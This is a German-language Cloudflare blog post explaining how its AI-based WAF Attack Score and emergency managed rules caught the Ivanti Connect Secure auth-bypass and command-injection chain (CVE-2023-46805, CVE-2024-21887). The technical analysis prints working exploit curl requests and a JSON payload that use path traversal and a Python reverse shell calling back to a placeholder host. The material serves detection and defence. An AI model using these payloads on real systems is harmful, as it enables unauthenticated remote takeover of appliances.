Subscribe to receive notifications of new posts:

Vorbeugende Erkennung der Zero Day-Sicherheitslücke bei Ivanti Connect Secure durch die KI-gestützte WAF von Cloudflare

01/23/2024

6 min read
How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

Die meisten WAF-Anbieter reagieren auf Schwachstellen erst, nachdem sie bereits entdeckt und ausgenutzt wurden. Wir dagegen glauben beim Umgang mit potenziellen Risiken an KI-gestützte Vorbeugung. Um zu verdeutlichen, was damit gemeint ist, möchten wir heute näher auf ein aktuelles Beispiel eingehen und erläutern, wie der KI-gestützte „Attack Score“ von Cloudflare und Notfallregeln der WAF gegen zwei kritische Sicherheitslücken (CVE-2023-46805 und CVE-2024-21887) eingesetzt wurden.

Bedrohung durch CVE-2023-46805 und CVE-2024-21887

Eine Sicherheitslücke, mit der sich die Authentifizierung umgehen lässt (CVE-2023-46805) und eine Command Injection-Schwachstelle (CVE-2024-21887), die jeweils Ivanti-Produkte betreffen, wurden kürzlich von AttackerKB offengelegt und analysiert. Beide bergen erhebliche Risiken, weil sie Unbefugten Zugriff auf und Kontrolle über betroffene Systeme ermöglichen können. Im Folgenden werden wir darlegen, auf welche Weise sich diese Sicherheitslücken ausnutzen lassen.

Technische Analyse

Wie bei AttackerKB beschrieben , kann der Angreifer mit einem Befehl wie dem folgenden eine speziell gestaltete Anfrage an das Zielsystem senden:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

Dieser Befehl richtet sich an einen Endpunkt (/license/keys-status/), der normalerweise durch Authentifizierung geschützt ist. Diese kann der Angreifer aber umgehen, indem er die URL so bearbeitet, dass sie /api/v1/totp/user-backup-code/../../license/keys-status/ einschließt. Bei diesem Vorgehen spricht man von Directory Traversal.

Der im URL-Format kodierte Teil des Befehls wird in eine Python-Reverse-Shell dekodiert, was folgendermaßen aussieht:

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

Die Python-Reverse-Shell bietet dem Angreifer die Möglichkeit, die Kontrolle über das Zielsystem zu erlangen.

Die Sicherheitslücke besteht in der Art und Weise, in der das System den Parameter node_name verarbeitet. Ist ein Angreifer in der Lage, den Wert von node_name zu kontrollieren, kann er Befehle in das System einschleusen.

Zur näheren Erklärung: Bei dem Parameter „node_name“ handelt es sich um eine Komponente des Endpunkts /api/v1/license/keys-status/path:node_name, bei dem das Problem in erster Linie auftritt.

Der Angreifer kann eine GET-Anfrage an den URI-Pfad /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; senden. CMD steht dabei für jeden beliebigen Befehl, den er ausführen möchte. Dieser kann mit einem Strichpunkt in die Anfrage eingebunden werden. Um sicherzustellen, dass der Befehl vom System korrekt verarbeitet wird, muss er im URL-Format kodiert sein.

Wie im Blogbeitrag von AttackerKB beschrieben, wurde noch eine weitere Code Injection-Schwachstelle identifiziert. Bei dieser handelt es sich um eine authentifizierte Command Injection, die in einem anderen Teil des Systems entdeckt wurde.

Hier kann mit der gleichen Python-Reverse-Shell-Nutzlast wie bei der ersten Command Injection eine JSON-Struktur gebildet werden, um die Schwachstelle hervorzurufen. Da die Nutzlast im JSON-Format vorliegt, muss sie nicht im URL-Format kodiert sein:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Der Endpunkt /api/v1/system/maintenance/archiving/cloud-server-test-connection erfordert zwar eine Authentifizierung, dies kann von einem Angreifer aber durch eine Verkettung mit der zuvor erwähnten Directory Traversal-Sicherheitslücke umgangen werden. Er kann den nicht authentifizierten URI-Pfad /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection erstellen, um diesen Endpunkt zu erreichen und die Schwachstelle auszunutzen.

Zur Ausführung eines nicht authentifizierten Betriebssystembefehls würde ein Angreifer eine cURL-Anfrage wie die folgende verwenden:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare wendet eine vorbeugende Verteidigung an

Die WAF von Cloudflare wird durch eine zusätzliche, KI-gestützte Ebene namens WAF Attack Score verstärkt. Diese dient dazu, Sicherheitslücken noch vor ihrer Veröffentlichung zu erkennen. Die Angriffsbewertung (der „Attack Score“) ist eine Einstufung des Grads der Bösartigkeit einer Anfrage. Bisher standen dabei drei Hauptkategorien im Fokus: XSS, SQLi und einige RCE-Varianten (Command Injection, ApacheLog4J usw.). Es wird ein Wert bzw. Score zwischen 1 und 99 vergeben. Je niedriger der Score, desto bösartiger die Anfrage. Im Allgemeinen gilt jede Anfrage mit einem Wert unter 20 als bösartig.

Schauen wir uns die Ergebnisse des oben vorgestellten Exploit-Beispiels für CVE-2023-46805 und CVE-2024-21887 im Cloudflare-Dashboard (Security > Events) an. Der Attack Score setzt sich aus drei Einzelbewertungen zusammen, die jeweils die Relevanz für eine bestimmte Angriffskategorie anzeigen. Darüber hinaus gibt es eine Gesamtbewertung. Dieser „WAF Attack Score“ bildet die gemeinsame Auswirkung der drei Einzel-Scores ab. In manchen Fällen wird die Gesamtbewertung durch eine der Unterbewertungen beeinflusst, wenn der Angriff einer bestimmten Kategorie entspricht. Im vorliegen Beispiel dominiert die Unterbewertung der Kategorie „WAF RCE Attack Score“, die eine Remote Code Execution-Schwachstelle anzeigt.

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

Darüber hinaus hat das KI-Modell für den Bereich „nicht authentifizierte Betriebssystembefehlsanfrage“, der ebenfalls zu den Kategorien bösartiger Anfragen zählt, einen WAF Attack Score von 19 ausgegeben. Erwähnenswert ist, dass es sich bei den Beispielbewertungen nicht um feste Werte handelt, sondern diese je nach Variante des eingehenden Angriffs variieren können.

Doch es gibt eine gute Nachricht: Kunden mit Enterprise- und Business-Tarifoption, bei denen die Funktion „WAF Attack Score“ aktiviert war, bei Business-Kunden in Verbindung mit einer Blockier-Regel im Fall von niedrigen Scores (z. B. cf.waf.score le 20) oder (cf.waf.score.class eqattack“), waren bereits vor Bekanntgabe der Sicherheitslücke vor den bisher getesteten potenziellen Exploits geschützt.

Anwendung von Notfallregeln

Als Reaktion auf diese schwerwiegende Sicherheitslücke hat Cloudflare am 17. Januar 2024 Notfallregeln freigeschaltet. Dies geschah binnen 24 Stunden nach Veröffentlichung des Proof of Concept. Diese Regeln sind Teil der Managed Rules für die WAF und richten sich speziell gegen die Bedrohung durch CVE-2023-46805 und eine zusätzliche Sicherheitslücke, CVE-2024-21887, die ebenfalls mit Ivanti-Produkten in Verbindung steht. Diese Regeln namens „Ivanti – Auth Bypass, Command Injection – CVE:CVE-2023-46805, CVE:CVE-2024-21887“ wurden entwickelt, um Versuche der Ausnutzung dieser Schwachstellen zu unterbinden und Cloudflare-Nutzern zusätzlichen Schutz zu bieten.

Seitdem wir diese Regeln eingeführt haben, werden sie intensiv genutzt. So sind sie bis Redaktionsschluss mehr als 180.000 Mal ausgelöst worden.

Regel-ID Beschreibung Standardmaßnahme
Neue Managed Rule…34ab53c5 Ivanti – Auth Bypass, Command Injection – CVE:CVE-2023-46805, CVE:CVE-2024-21887 Blockieren
Alte Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Blockieren

Schlussfolgerungen und bewährte Vorgehensweisen

Die von Cloudflare gegen CVE-2023-46805 und CVE-2024-21887 ergriffenen Maßnahmen unterstreichen die Bedeutung solider Sicherheitsvorkehrungen. Um optimal geschützt zu sein, sollten Unternehmen, die Cloudflare-Dienste und insbesondere die WAF nutzen, darauf achten, dass die Regeln und Konfigurationen ihrer Systeme immer auf dem neusten Stand sind. Wir empfehlen Kunden außerdem, Regeln in Verbindung mit dem Attack Score einzusetzen, um ihr Sicherheitsniveau zu erhöhen. Wenn Sie mehr über den Attack Score erfahren möchten, wenden Sie sich gern an Ihren Ansprechpartner oder Ihre Ansprechpartnerin bei Cloudflare.

Fazit

Der vorausschauende Cybersicherheitsansatz von Cloudflare, bei dem KI zur Identifizierung und Abwehr von Angriffen zum Einsatz kommt, wurde anhand unseres Umgangs mit CVE-2023-46805 und CVE-2024-21887 veranschaulicht. Dieses Beispiel zeigt, wie sich Bedrohungen und Angriffe erkennen lassen, noch bevor sie veröffentlicht und Sicherheitslücken offengelegt werden. Durch kontinuierliche Überwachung und schnelles Reagieren auf Schwachstellen stellen wir sicher, dass Cloudflare-Kunden in einem immer komplexen digitalen Umfeld weiterhin gut geschützt sind.

We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit 1.1.1.1 from any device to get started with our free app that makes your Internet faster and safer.

To learn more about our mission to help build a better Internet, start here. If you're looking for a new career direction, check out our open positions.
Vulnerabilities (DE)WAF Rules (DE)WAF (DE)WAF Attack Score (DE)Zero Day Threats (DE)AI WAF (DE)Deutsch

Follow on X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Related posts

March 14, 2024 12:30 PM

So schützen wir unsere KI-Produkte vor auf Token-Länge basierenden Seitenkanalangriffen

Im Zusammenhang mit einer Meldung, die über unser öffentliches Bug Bounty-Programm eingereicht wurde, hat das Workers AI- und AI Gateway-Team kürzlich eng mit Sicherheitsforschenden der Ben-Gurion-Universität zusammengearbeitet...

October 10, 2023 12:02 PM

HTTP/2 Zero-Day-Sicherheitslücke führt zu rekordverdächtigen DDoS-Angriffen

Der „HTTP/2 Rapid Reset“-Angriff nutzt eine Schwachstelle im HTTP/2-Protokoll aus, um gewaltige, hypervolumetrische DDoS-Angriffe zu generieren. Cloudflare hat in den letzten Monaten eine Flut dieser Angriffe abgewehrt, darunter einen Angriff, der dreimal so groß war wie der bislang größte Angriff...